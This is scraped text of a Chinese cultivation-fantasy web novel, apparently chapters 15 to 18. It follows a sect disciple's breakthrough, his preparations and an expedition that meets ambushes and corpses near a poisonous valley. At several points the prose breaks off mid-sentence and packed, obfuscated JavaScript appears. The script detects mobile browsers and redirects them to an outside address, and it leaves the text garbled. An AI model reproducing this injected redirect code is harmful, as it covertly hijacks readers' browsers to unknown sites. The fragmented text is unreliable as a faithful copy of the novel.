35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189076|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >药园下的秘密、白小茹身上的异常、仙盟(或其他势力)的暗中调查、青岚宗内部的暗流……这些都没有消失,只是在表面之下,更加汹涌地汇聚着。 这天,他刚刚结束一轮修炼,正在用一块皮质碎片尝试制作一个能贴在手腕内侧、发射“蚀金毒”针的微型机括,院门又被敲响了。 这次,是钱富贵。他脸上带着一丝罕见的严肃和……兴奋? “林师兄,”钱富贵进门后,压低声音,眼神发亮,“我打听到一个消息……可能是个机会,也可能是个大坑。” “哦?说说。”林家铭放下手中的活计。 “我有个远房表兄,在神工峰当外门执役。他偷偷告诉我,神工峰和天枢峰最近在秘密筹备一次联合探索任务,目标是一处新发现的、位于宗门西北三千里外的古修士废弃洞府。”钱富贵语速加快,“据说那洞府外围禁制已经衰弱,但内部情况不明,可能有古修士遗留的功法、丹药、或者炼器材料!” 林家铭心中一动。古修士洞府?这通常是机缘与危险并存的地方。 “消息可靠吗?为什么是秘密筹备?” “可靠!我表兄负责清点一部分准备物资,看到了清单。”钱富贵肯定道,“之所以秘密,是因为那地方靠近‘万瘴谷’边缘,环境复杂,而且……听说还有其他势力的人也盯上了那里。宗门不想声张,打算派一支精干的小队,悄悄进去,快速搜刮,然后撤离。” “人选呢?” “听说内定了几个炼气后期的精锐弟子,由一位筑基初期的师兄带队。但是……”钱富贵声音更低了,“我表兄说,好像还在物色一两个‘有特殊本事’的炼气中期弟子,比如精通阵法破解、或者……擅长应对复杂环境和突发状况的。” 他目光灼灼地看着林家铭,意思很明显。 林家铭手指轻轻敲着桌面。古修士洞府……确实是个搞事(和搞钱)的好地方。但危险系数也高。宗门任务,意味着规矩多,还要听指挥,这不符合他“自由搞事”的风格。而且,有筑基期带队,他很多手段不方便施展。 “你想去?”林家铭看向钱富贵。 钱富贵用力点头:“我机关术还凑合,对古修士禁制也有些研究……当然比不上那些专精的师兄。但我觉得,这可能是我们这种外门弟子难得的机会!林师兄,你本事大,点子多,要是你能一起去,咱们互相照应,说不定真能捞到好处!” 他看着林家铭,眼神充满期待。 林家铭沉默了片刻。他需要资源,需要见识更广阔的世界,也需要在实战中检验和提升自己的能力。古修士洞府,确实是个不错的试炼场。而且,如果是“秘密任务”,或许规矩不会那么死板?操作空间可能更大? “消息什么时候公布?怎么报名?”他问。 “据说三天后,会在内门任务堂发布一个‘特殊招募’,要求炼气四层以上,有相关特长者优先。估计会有一轮筛选。”钱富贵连忙道。 林家铭点点头:“我知道了。让我考虑一下。” 钱富贵见他没拒绝,脸上露出喜色:“好!师兄你慢慢考虑,有决定了告诉我!我再去打听打听更详细的情报!” 送走钱富贵,林家铭独自站在院子里,望着西北方向的天空。 古修士洞府……万瘴谷边缘……其他势力觊觎…… 听起来,又是一个“热闹”的地方。 而且,这次是“官方”组织的“搞事”机会。 他摸了摸怀里那块温润的“黑水石”,又感受了一下丹田内稳步增长的混沌灵力。 “或许……是该出去走走了。”他低声自语,嘴角缓缓勾起一抹熟悉的、带着点跃跃欲试的弧度。 一直蛰伏修炼,固然安全,却也少了些趣味和机缘。适当的冒险,才是成长的催化剂。 当然,去之前,得做好万全准备,尤其是……多搞点保命和阴人的新花样。 他转身回屋,目光扫过桌上那些材料、毒液和半成品的机括,眼神变得更加专注。 平静(且充实)的修炼日子,似乎要暂时告一段落了。 新的风波,正在远处酝酿,等待着他的入场。 16. 洞府前夕,破境与备战 钱富贵带来的消息,像一块投入心湖的石子,打破了林家铭持续近月的潜修平静。 古修士洞府,机缘与危险并存,对他这急需大量资源和实战磨砺的混沌灵根而言,诱惑力巨大。但炼气四层巅峰的修为,在那种可能危机四伏、且可能遭遇其他势力竞争甚至冲突的环境里,实在有些不够看。 “去,是肯定要去的。”林家铭在简陋的静室内踱步,眼神锐利,“但这种‘官方组织’的冒险,实力是硬通货。修为必须提上去。” 他盘点手头资源:废灵石尚余大半;赵铁柱送来的两麻袋体修“垃圾”消耗了约三分之一;下品灵石还有几十块,三块中品灵石碎块未动;各种毒材、矿石、边角料若干。 “冲击炼气五层,应该够了。”他估算着,“甚至……可以尝试在进入洞府前,冲到五层中期甚至后期,这样把握更大。” 决定已下,不再犹豫。 他将剩余的所有废灵石和体修“垃圾”集中在静室一角,又取出那三块珍贵的中品灵石碎块放在手边。没有立刻开始冲击,而是先花了一天时间,将自身状态调整到最佳:灵力充盈,经脉畅通,神识清明。 同时,他再次梳理了《混沌感应篇》和《万象匿形诀》的草创心得,确保在突破过程中,能更好地掌控混沌灵力的细微变化,避免能量冲突失控。 翌日,晨曦微露。 林家铭盘膝坐于静室中央,双手各握一块中品灵石碎块。他没有像往常那样先吸收废灵石,而是决定直接用更精纯的中品灵石能量,点燃冲击瓶颈的第一把火! “嗡——!” 混沌灵力如同苏醒的巨龙,在他体内轰然运转!掌心处,中品灵石碎块中精纯磅礴的灵气,如同决堤洪流,汹涌冲入经脉! 与废灵石的狂暴混乱不同,中品灵石的能量更加精纯、温和、易于引导。混沌灵力贪婪地吞噬着这股高质量能量,迅速壮大,颜色变得更加深邃凝实,旋转速度骤然加快! 炼气四层到五层的瓶颈壁垒,在这股洪流的冲击下,开始剧烈震动! “不够!”林家铭心神沉入丹田,引导着愈发雄浑的混沌灵力,一次又一次地撞击着那层无形的隔膜。 中品灵石碎块的灵气被快速抽取,颜色迅速黯淡。他毫不犹豫,丢掉耗尽灵气的碎块,又抓起一块新的,同时,分心二用,运转“混沌大杂烩”法,开始吸收旁边堆放的废灵石和体修“垃圾”! 双重能量供给!一边是精纯温和的中品灵气,用于突破锋锐;一边是量大管饱但属性混杂的“垃圾”能量,用于提供持久续航和补充消耗! 这种做法极其冒险,需要超强的灵力掌控力和坚韧的经脉。稍有不慎,两股能量在体内冲突暴走,就是经脉尽碎的下场。 但林家铭别无选择。他需要速度,也需要足够的“燃料”。 混沌灵力展现出了它作为“万能粘合剂”和“能量转换器”的恐怖潜力。它如同一个高效运转的混沌熔炉,将中品灵气的精纯和“垃圾”能量的驳杂强行糅合在一起,碾碎冲突,转化为更加厚重、更加包容、也更具有冲击力的独特混沌灵力,持续轰击瓶颈! “咔嚓——” 仿佛有什么东西裂开了。 瓶颈壁垒上,出现了一道细微的裂缝! 林家铭精神大振,不顾经脉传来的胀痛感,将所有心神和灵力集中于一点,发起最后的冲锋! “给我——破!!!” “轰隆!!!” 脑海中一声巨响,仿佛天地初开。 丹田内,那团已经膨胀到极限的混沌气旋猛地向内一缩,凝聚成一个更加凝实、旋转更加稳定的混沌核心,随即轰然扩张!体积比之前大了足足一倍!灵力总量和质量发生了质的飞跃! 更加磅礴、更加精纯、也更加如臂指使的混沌灵力,如同新生的大河,奔涌进被进一步拓宽和强化的经脉之中,带来无与伦比的力量感和掌控感! 炼气五层!成了! 而且,由于使用了中品灵石和双重能量冲击,根基扎实无比,修为直接稳固在五层初期巅峰,距离中期仅一线之隔! 林家铭长长吐出一口浊气,那气息竟带着淡淡的灰色,排出体内最后些许杂质。他睁开眼,眸中混沌之色一闪而过,目光更加深邃内敛,整个人气质似乎都沉稳厚重了一丝。 他没有立刻起身庆祝,而是继续闭目调息,巩固境界,同时仔细体会突破后的变化。 灵力总量暴增近倍,操控更加精细。神识范围扩大,清晰度提升,对周围环境的感知更加敏锐。肉身在体修“垃圾”能量的滋养和突破时的冲刷下,也得到了明显强化,力量、速度、耐力均有增长。 更重要的是,他对混沌灵力的特性理解更深了。那种“包容”、“转化”、“模拟”的意念运用起来更加得心应手。 “很好。”林家铭满意地收功起身,活动了一下筋骨,体内传来细微的噼啪声,充满力量。 突破完成,时间才过去不到两天。 他没有停歇,立刻投入接下来的备战。 首先,是武器升级。 “晦芒”短刃在之前的温养和“蚀金毒”浸泡下,已经达到低阶中品法器的临界点。林家铭将剩余的一点“蚀金毒”全部用上,同时辅以混沌灵力模拟“锋锐”、“破甲”、“侵蚀”属性,进行更深层次的淬炼和铭刻(用那点可怜的符文知识)。 一天一夜后,“晦芒”短刃终于焕然一新。刃身依旧不起眼的暗灰色,但细看之下,表面仿佛流动着一层极淡的混沌光晕。刃口锋利无匹,轻轻一挥就能在精铁上留下深痕。更重要的是,它对灵力的穿透性和侵蚀性大大增强,且自带一丝“蚀金毒”的麻痹效果。正式踏入中品法器行列,且是特性极其阴险特殊的中品法器。 其次,是开发新“阴器”。 结合新提升的修为和对混沌灵力更精细的操控,他成功制作了几样新东西: 1. 混沌匿踪符(一次性):用兽皮和混合了自身混沌灵力的特殊颜料绘制,激发后可短时间内大幅降低存在感,并轻微干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189077|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰低阶神识探查(对筑基以上效果骤减)。做了三张。 2. 爆裂石雷子:将几块蕴含不稳定火、金能量的矿石碎末,用混沌灵力强行压缩封印在特制的黏土外壳中。投掷撞击后爆炸,威力约等于炼气六层修士一击,但胜在范围冲击和出其不意。做了五枚。 3. 牵引绊索:用初阶妖兽筋混合金属细丝制成,极其坚韧。一端有特制倒钩,可无声嵌入岩石树木;另一端连接机括,触发后能瞬间收紧,束缚敌人双腿。做了两套。 4. 改良版臭云弹:加入从万瘴谷边缘特产的一种“迷魂蕈”粉末,不仅恶臭,还能产生微弱致幻效果。做了三个。 接着,是自身技能深化。 《混沌感应篇》和《万象匿形诀》随着修为提升,效果增强。他现在能在小范围内(十丈内)比较清晰地感知到不同属性的灵气流动和微弱能量波动,隐匿状态下,同阶修士除非刻意用神识仔细扫描,否则很难发现他。 同时,他开始尝试将混沌灵力更系统地应用于战斗。 比如,将混沌灵力瞬间模拟出“金”的锋锐集中于指尖,可形成短暂的气芒,增强“晦芒”的刺杀威力;模拟“土”的厚重覆盖体表,可略微增强防御;模拟“水”的柔韧运转于双腿,可让身法更加飘忽难测。 虽然都只是雏形,消耗也大,不能持久,但关键时刻或许有奇效。 最后,是情报和物资准备。 他让周圆和钱富贵分头打听,将关于古修士洞府、万瘴谷环境、可能参与的其他势力(尤其是离火宗、厚土宗,以及一些活跃在附近的散修团体)的信息尽可能汇总。 自己也去了一趟坊市,用最后一点下品灵石,补充了优质辟谷丹、常用解毒剂、止血散、以及一份相对详细的万瘴谷外围地图。 三天时间,转瞬即逝。 这三天里,林家铭几乎不眠不休,将所有精力投入到备战中。当钱富贵再次敲响院门,告知他“特殊招募”今日已在任务堂发布时,他已经做好了准备。 炼气五层初期巅峰的修为,全面升级的“晦芒”短刃,一堆新研制的阴人玩意儿,初步深化的混沌灵力运用技巧,以及尽可能搜集到的情报。 “走吧。”林家铭换上一身半新不旧、但干净利落的青色弟子服,将“晦芒”和其他必要物品分门别类藏好,背上一个不起眼的灰色包袱,对等在门口的钱富贵说道。 他眼神平静,却透着一种内敛的锋芒。 闭关潜修的日子结束了。新的冒险,就在眼前。 古修士洞府?机缘?危险?其他势力的觊觎? 来吧。 正好用这场“热闹”,来检验一下这段时间的成长,顺便……捞点真正的好东西。 两人离开揽月峰,朝着任务堂方向走去。 山风拂过,带着初夏的微燥。青岚宗内,看似一切如常,但有心人都能感觉到,一股躁动和期待的情绪,正在部分弟子间悄然蔓延。 而林家铭,即将正式踏入这新的漩涡之中。 17. 筛选,组队,启程 内门任务堂今日的气氛与往日不同。少了些嘈杂喧闹,多了几分肃穆和隐隐的竞争感。大厅一侧的玉璧上,高悬着那则“特殊招募”任务,寥寥数语,却吸引着众多内门弟子的目光。 【甲等探索任务】(限炼气中期及以上) 目标:探查西北万瘴谷边缘新现古修士洞府,搜集资源、功法信息。 要求:炼气四层以上,具备阵法、机关、药理、侦查或特殊战斗专长者优先。需通过初步筛选。 报酬:基础贡献点三百,任务所得按贡献分配。优异者或有额外奖励。 带队:筑基初期师兄一名。 报名处:侧殿乙三室。 甲等任务!基础贡献点三百!这对于普通内门弟子而言,已是丰厚报酬。更遑论古修士洞府可能带来的额外收获。 林家铭和钱富贵赶到时,侧殿乙三室外已经排起了不短的队伍,约莫二三十人,修为多在炼气五层到七层之间,气息精悍,眼神中带着审视和跃跃欲试。炼气四层的只有寥寥几个,包括林家铭自己,以及……他看到了一个有些意外的人。 楚云。 他依旧一袭白衣,左臂似乎已恢复,自然垂落。站在队伍靠前位置,身姿挺拔,气息沉凝,炼气六层的修为在一众弟子中颇为显眼。他并未回头,仿佛对身后的动静漠不关心。 林家铭目光微凝。楚云也对这个任务感兴趣?以他的身份和实力,参与这种任务倒不奇怪。只是……两人同处一队,怕是少不了些微妙气氛。 他移开目光,和钱富贵排到队尾,安静等待。 筛选进行得很快。主要是查验修为,登记特长,并由一位坐镇的金丹长老(只是坐镇,并不参与具体筛选)以神识粗略扫过,确认身份无误,无明显魔气或重伤隐患。 轮到林家铭时,负责登记的执事弟子看了他一眼:“姓名,所属,修为,特长。” “林家铭,揽月峰,炼气五层。”林家铭平静道,稍微释放了一丝炼气五层的气息。 “五层?”执事弟子抬头看了看他,似乎有些意外揽月峰弟子会来,又看了眼登记册,“特长?” “粗通低阶阵法识别,擅长应对复杂环境,略懂一些……偏门手段。”林家铭斟酌着用词。 执事弟子笔下顿了顿,似乎没听过这种“特长”,但还是记录在案:“偏门手段?”他抬眼,带着审视。 “一些自保的小技巧,不便详述。”林家铭面不改色。 执事弟子皱了皱眉,没再多问,挥挥手:“过去吧,那边等候。” 林家铭走到通过筛选的弟子聚集区。钱富贵也通过了,他的“机关陷阱识别与布置”特长相对更“正统”一些。 通过筛选的共有十五人。修为最高的是炼气七层,一位天枢峰的剑修,名叫陈风,气息凌厉。炼气六层的有三位,除了楚云,还有一位玉衡峰的女法修苏晴,一位开阳峰的体修洪刚。其余多是炼气五层,像林家铭这样五层初期的只有两三个。 众人彼此打量,气氛有些微妙。既是临时队友,也可能成为资源分配的竞争对手。 不久,一位穿着内门执事服饰、面容冷峻的中年修士走了进来,筑基初期的威压让殿内一静。 “本人姓韩,韩厉。此次任务带队。”他声音不高,却清晰地传入每个人耳中,“废话不多说。任务危险,洞府情况不明,万瘴谷环境复杂,可能遭遇其他势力。既然通过筛选,便需听从指挥,擅自行动者,严惩不贷。” 他目光如刀,扫过众人:“现在,根据特长和修为,临时分成三组。陈风、楚云、苏晴、洪刚,你们四人为先锋探查组。钱富贵、李阵(一位炼气五层、擅长阵法的弟子)……林家铭,你们七人为中段支援与资源搜集组。剩下四人,负责后方警戒与接应。” 分组很快完成。林家铭被分在了中段组,同组的除了钱富贵和那位叫李阵的阵法师,还有两个炼气五层的弟子,一个叫王海(擅使刀),一个叫孙立(据说感知敏锐)。另外两个是炼气六层的弟子,一个叫赵明(法修),一个叫周通(体修),算是中段组的核心。 韩厉又交代了一些注意事项和集合时间地点(明日辰时,山门广场),便挥手让众人散去。 “林师兄!”钱富贵凑过来,低声道,“咱们一组!太好了!” 林家铭点点头,目光却瞥见楚云正朝这边走来。 “林师弟,钱师弟。”楚云走到近前,语气平淡,“洞府险恶,万瘴谷更是毒瘴弥漫,妖兽潜伏。两位师弟修为尚浅,务必要跟紧队伍,切莫冒进。”他这话听起来像是关心同门,但眼神却直视着林家铭,带着一种不容置疑的告诫意味。 “多谢楚师兄提醒,小弟省得。”林家铭拱手,脸上挂着标准的客气笑容。 楚云深深看了他一眼,没再说什么,转身离去。 “楚师兄好像……特别关注你啊,林师兄?”钱富贵小声道。 “谁知道呢。”林家铭不置可否,“走吧,回去最后准备一下。” 回到揽月峰,林家铭没有休息。他将所有要带的东西再次清点、检查、分装。武器、阴器、丹药、符箓、解毒剂、干粮、水囊、绳索、备用衣物……分门别类,确保随时能取用。 他又专门用兽皮缝制了几个不起眼的小袋,将“爆裂石雷子”、“牵引绊索”、“改良臭云弹”等阴器分别装好,固定在腰带、袖口、靴筒等容易取用的位置。 最后,他将那三张“混沌匿踪符”和剩下的最后一点“蚀金毒”贴身藏好。这是保命的底牌,非生死关头不用。 一切准备就绪。夜幕降临。 林家铭站在小院里,仰望星空。明日出发,前路未知。危险肯定有,但机遇也同样存在。 “古修士洞府……希望能找到点真正的好东西。”他喃喃自语,眼中闪烁着期待的光芒,“至少,不能白跑一趟。” 第二天辰时,山门广场。 十五名弟子准时集结。韩厉早已等候在此,身边还站着两位炼气后期的执事弟子,负责携带一些公共物资和联络法器。 “出发!”韩厉没有废话,祭出一艘中等大小的青色飞舟。飞舟长约五丈,通体流畅,刻有御风符文,是一件不错的代步法器。 众人依次登舟。飞舟缓缓升空,化作一道青虹,朝着西北方向疾驰而去。 飞舟上,气氛沉默。众人或闭目养神,或警惕地观察着下方飞速掠过的山河地貌。韩厉站在舟首,操控飞舟,神色冷峻。 林家铭坐在舟舷边,看似随意地打量着风景,实则默默运转《混沌感应篇》,感知着周围的气息流动和飞舟的灵力运转方式。这是他第一次乘坐这种飞行法器,颇觉新奇。 钱富贵坐在他旁边,有些紧张,又有些兴奋,不时低声和林家铭讨论几句可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189078|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能遇到的阵法类型。 楚云坐在不远处,闭目调息,仿佛周遭一切都与他无关。 飞舟速度极快,日行数千里不在话下。但万瘴谷距离青岚宗三千里,并非瞬息可达。途中需要穿越几片凡人国度和一些小型山脉。 午时左右,飞舟掠过一片荒芜的山丘地带。下方怪石嶙峋,植被稀疏。 忽然,韩厉眉头一皱,操控飞舟的速度略微减缓。 几乎同时,林家铭的混沌感应也捕捉到了一丝异常——下方某处山谷中,传来极其微弱的、不自然的灵力波动,而且带着一丝淡淡的……血腥气? “下方有情况。”韩厉沉声道,声音传入每个弟子耳中,“所有人戒备。陈风,楚云,随我下去查看。其他人留守飞舟,苏晴暂代指挥。” 话音未落,他已然化作一道流光,朝着那处山谷俯冲而下。陈风和楚云紧随其后。 飞舟悬停在空中,气氛顿时紧张起来。众人纷纷起身,灵力暗运,警惕地看向下方。 林家铭也站起身,走到舟舷边,混沌灵力凝聚于双目,朝山谷望去。 山谷被淡淡的雾气笼罩,看不真切。但那丝血腥气和紊乱的灵力波动却更加明显了。隐约还能听到几声短促的、仿佛金铁交击的声响,但很快又沉寂下去。 “怎么回事?有妖兽?还是……”有弟子低声猜测。 苏晴作为留守中修为最高者,冷静地指挥众人保持阵型,不要轻举妄动。 约莫过了一炷香时间,三道身影从山谷中飞回,正是韩厉三人。 韩厉脸色有些阴沉,楚云眉头微锁,陈风则带着一丝肃杀之气。 “是黑煞门的人。”韩厉落在舟上,冷声道,“七八个,已经全死了。死状……和之前在雾鬼潭外围发现的类似,被利爪撕裂,有腐蚀痕迹。现场残留着淡淡的魔气和一种特殊的阴寒气息。” 黑煞门?雾鬼潭?魔气?阴寒气息? 这几个词组合在一起,让林家铭心中猛地一跳。他想起了药园下可能存在的“玄阴煞气”,想起了那晚两个神秘探查者的话。 “他们怎么会死在这里?距离万瘴谷还有一段距离。”苏晴问道。 “不清楚。”韩厉摇头,“现场有战斗痕迹,但很短暂。杀他们的东西,速度极快,力量很强,而且……似乎带着某种目的性。不像是随意遭遇的妖兽。” 他目光扫过众弟子:“此事蹊跷,但与我们任务无直接关联。继续前进,所有人提高警惕。万瘴谷附近,恐怕不太平。” 飞舟再次启动,但气氛已然不同。黑煞门弟子的诡异死亡,像一片阴影,笼罩在众人心头。连韩厉这样的筑基修士,神色都凝重了几分。 林家铭坐回原位,心中念头急转。黑煞门的人死在这里,死状与雾鬼潭类似,还有魔气和阴寒气息……这仅仅是巧合吗?还是说,雾鬼潭的“热闹”,已经开始向外蔓延?甚至……与即将探索的古修士洞府有关? 他看了一眼楚云。楚云也正朝他这边看来,两人目光在空中短暂交汇。楚云的眼神深邃,似乎也想到了什么,但随即又移开目光,恢复平静。 飞舟继续向着西北方向飞行,下方的地貌逐渐变得荒凉,空气中开始弥漫起淡淡的、五颜六色的瘴气薄雾。 万瘴谷,快要到了。 而这场探索任务,似乎从一开始,就蒙上了一层不祥的预兆。 18. 万瘴谷外,冲突初现 飞舟穿过越发浓重、色彩斑斓的瘴气薄雾,速度明显减缓。下方地貌已彻底变成一片被各种诡异植被覆盖的沼泽与丘陵交织地带,空气中弥漫着甜腻与腐朽混合的怪味,灵气也变得稀薄而紊乱。 “前方三十里,便是万瘴谷外围标志‘毒龙岭’。飞舟无法再深入瘴气核心。”韩厉的声音带着灵力,清晰传入每个人耳中,“所有人准备降落,步行前往洞府所在区域。记住,跟紧队伍,不得擅离,不得随意触碰任何不明植物、水源。” 青色飞舟缓缓降低高度,最终在一片相对干燥、生有稀疏灰黑色矮树的石滩上降落。 众人鱼贯而下,脚踩在潮湿滑腻的地面上,立刻感受到环境带来的压抑。瘴气如同有生命的薄纱,在周围缓缓流动,遮蔽视线,连神识都受到一定干扰。远处传来不知名虫豸尖锐的鸣叫,更添几分诡谲。 韩厉收起飞舟,目光扫过众人:“陈风、楚云,前方探路,保持百丈距离,随时联络。苏晴、洪刚,左右翼警戒。中段组跟上,注意脚下和两侧。后队保持距离,警惕后方。” 命令下达,队伍立刻行动起来。陈风和楚云各自展开身法,如同两道轻烟,没入前方色彩迷离的瘴雾之中。苏晴与洪刚一左一右,拉开十余丈距离,缓步推进。中段组七人聚拢一些,在韩厉的带领下,沿着陈风二人留下的隐约痕迹前进。后队四人散开,负责断后。 林家铭走在钱富贵和李阵旁边,看似随意,实则《混沌感应篇》早已悄然运转。混沌灵力赋予他的感知比同阶修士更加敏锐和“兼容”,瘴气对神识的干扰对他影响相对较小。他能“嗅”到空气中不同颜色的瘴气蕴含着不同的毒性或致幻成分;能“听”到脚下泥土中细微的蠕动和远处沼泽气泡破裂的声响;甚至能模糊“感觉”到周围生命体的强弱和情绪——紧张、贪婪、潜伏的恶意。 “这地方……像个天然的大型毒药和陷阱作坊。”他心中嘀咕,脚下步伐却丝毫不乱,总能提前半步避开那些颜色格外艳丽或气息过于“安静”的泥潭、藤蔓。 钱富贵紧握着一面自制的、刻着简易探测符文的小罗盘,额角见汗,低声道:“这里的地脉走向很乱,而且有不止一处人为干扰的痕迹……除了我们,肯定还有别人来过,或者……正在附近。” 李阵则不时蹲下,用手指触摸地面或岩石,感受着残留的阵法波动,脸色凝重:“有些痕迹很新,而且布阵手法……不像我们青岚宗的路子。” 正说着,前方探路的陈风突然传回急促的灵力讯号:“前方发现战斗痕迹!有尸体!是……厚土宗的人!” 队伍立刻加速。片刻后,众人来到一片狼藉的林间空地。 地上横七竖八躺着五六具尸体,皆穿着厚土宗的褐色服饰。死状凄惨,有的被利爪开膛破肚,有的浑身发黑中毒而亡,还有的像是被重物砸碎了头颅。血迹尚未完全干涸,显然发生不久。空气中除了血腥,还残留着狂暴的土系灵力、淡淡的妖气,以及……一丝让林家铭觉得有些熟悉的阴冷感。 “是‘铁背山魈’群干的。”楚云蹲在一具尸体旁,检查着伤口,冷静分析,“爪痕和咬痕吻合。但山魈通常不会如此有组织地伏击,而且……它们似乎受到了某种刺激,异常狂暴。”他指尖拂过伤口边缘残留的一丝黑色气息,眉头紧锁,“这气息……” 韩厉脸色阴沉。厚土宗的人也来了,而且遭遇了不测。这无疑增加了任务的变数和风险。 “清理现场,看看有没有线索。小心戒备!”韩厉下令。 众人分散开来,一边警惕四周,一边快速搜索。林家铭也装模作样地四处查看,混沌灵力却仔细感应着周围。那丝阴冷气息……虽然很淡,但和他那晚在百草峰药园感觉到的“玄阴煞气”,以及之前在黑煞门弟子尸体上残留的气息,有那么一点相似,但似乎更加驳杂、暴戾。 “像是被污染或诱发的妖气……”他暗自思忖。难道这万瘴谷里,也有那种“东西”的影响? 就在这时,异变陡生! “嗖嗖嗖——!” 数道凌厉的破空声从侧前方的浓密瘴雾中疾射而出!目标直指正在搜索的几名弟子! 是淬毒的短弩箭!箭镞泛着幽蓝光泽! “敌袭!防御!”韩厉厉喝一声,袖袍一拂,一道凝实的灵力屏障瞬间撑开,挡下了大部分弩箭。但仍有几支角度刁钻的箭矢穿透了屏障边缘,射向目标! “啊!”一名后队弟子闪避不及,肩头中箭,顿时脸色发黑,踉跄倒地。 “找死!”陈风怒喝,长剑出鞘,化作一道剑光直扑弩箭射来方向! 楚云、苏晴、洪刚也同时反应,各施手段,攻向偷袭者藏身之处。 瘴雾中顿时响起一阵金铁交鸣和呼喝之声!偷袭者显然不止一人,而且身手不弱,借助地形和瘴气与陈风等人缠斗起来。 中段组和后队剩余弟子立刻收缩阵型,将受伤同伴护在中间,紧张地看向交战方向。韩厉并未亲自加入战团,而是冷眼扫视四周,防止还有埋伏。 林家铭也缩在人群里,目光却透过瘴雾,隐约看到交手的人影。偷袭者穿着杂色的衣物,不像宗门制式,倒像是……散修或者佣兵?而且出手狠辣,配合默契,显然是老手。 “是‘瘴狼’的人!”李阵忽然低呼一声,脸色发白,“万瘴谷附近臭名昭著的散修团伙,专干杀人越货的勾当!他们怎么会埋伏在这里?难道也是冲着洞府来的?” 瘴狼?林家铭记下了这个名字。 前方战况激烈。陈风剑法凌厉,很快压制住一名对手。楚云剑光如水,绵密而精准,将另一名偷袭者逼得连连后退。苏晴的法术和洪刚的刚拳也各显威力。 但偷袭者似乎意在拖延,并不死战。见偷袭失败,青岚宗这边反应迅速,为首一人吹了声尖锐的口哨。 “撤!” 几名偷袭者立刻虚晃一招,扔出几颗冒着浓烟的弹丸,借着烟雾和瘴气的掩护,迅速向密林深处退去。 “穷寇莫追!”韩厉喝止了想要追击的陈风,“小心调虎离山!检查伤员,立刻离开此地!” 烟雾带着刺鼻气味,众人连忙屏息。烟雾散去,偷袭者早已不见踪影。 那名肩头中箭的弟子情况不妙,毒性猛烈,虽然服下解毒丹,但脸色依旧乌青,气息微弱。 “必须立刻找地方给他逼毒疗伤!”苏晴检查后,沉声道。 韩厉看了一眼昏迷的弟子,又看了看四周危机四伏的环境,果断下令:“前方两里,有一处相对干燥的山坳,我们在那里暂作休整。加快速度!” 队伍再次行动起来,气氛更加凝重。刚进入万瘴谷外围,就接连遇到厚土宗弟子尸体和散修埋伏,这绝不是什么好兆头。 林家铭帮忙搀扶伤员,眼角余光却瞥见楚云在刚才交战的地方,似乎弯腰捡起了什么东西,迅速收了起来。动作很快,但没逃过他的眼睛。 众人加快速度,很快抵达韩厉所说的山坳。这里背风,瘴气稍淡,有一处不大的岩洞可以容身。 将伤员安置进岩洞,由苏晴和另一名略通药理的弟子紧急救治。其余人在洞口外布置简易的预警和防御。 韩厉召集几名骨干弟子(包括陈风、楚云、苏晴、洪刚,以及中段组里修为较高的赵明、周通)商议对策。林家铭作为“偏门手段”的代表(韩厉似乎对他的“小技巧”有些印象),也被叫了过去旁听——更多是让他听听形势,而非发表意见。 “……厚土宗的人死在这里,‘瘴狼’团伙出现埋伏,说明洞府的消息已经泄露,而且不止我们一家盯上。”韩厉声音低沉,“我们的优势在于有确切坐标和相对完整的准备。但劣势是,我们人数不多,且已有一人重伤,成了拖累。” “韩师叔,是否考虑向宗门求援?”陈风问道。 “距离太远,传讯符在瘴气中效果不佳。而且,求援信号也可能引来更多觊觎者。”韩厉摇头,“现在只能靠我们自己。我们必须加快速度,赶在其他势力之前进入洞府核心区域。” 他看向楚云:“楚师侄,你刚才可有所获?” 楚云点点头,从怀中取出之前捡起的东西——那是一小块黑色的、仿佛某种矿物,但表面有细微的、类似血管的暗红色纹路的碎片,只有指甲盖大小。 “在‘瘴狼’其中一人刚才站立的位置附近找到的。此物……”楚云将碎片递给韩厉,“蕴含一种奇特的灼热与阴寒交织的混乱气息,不似天然矿物。弟子怀疑,可能与厚土宗弟子以及黑煞门之死有关。” 韩厉接过,仔细感应,脸色微变:“这是……‘地火阴煞髓’的碎片?此物通常伴随地火与极阴之地交汇处生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 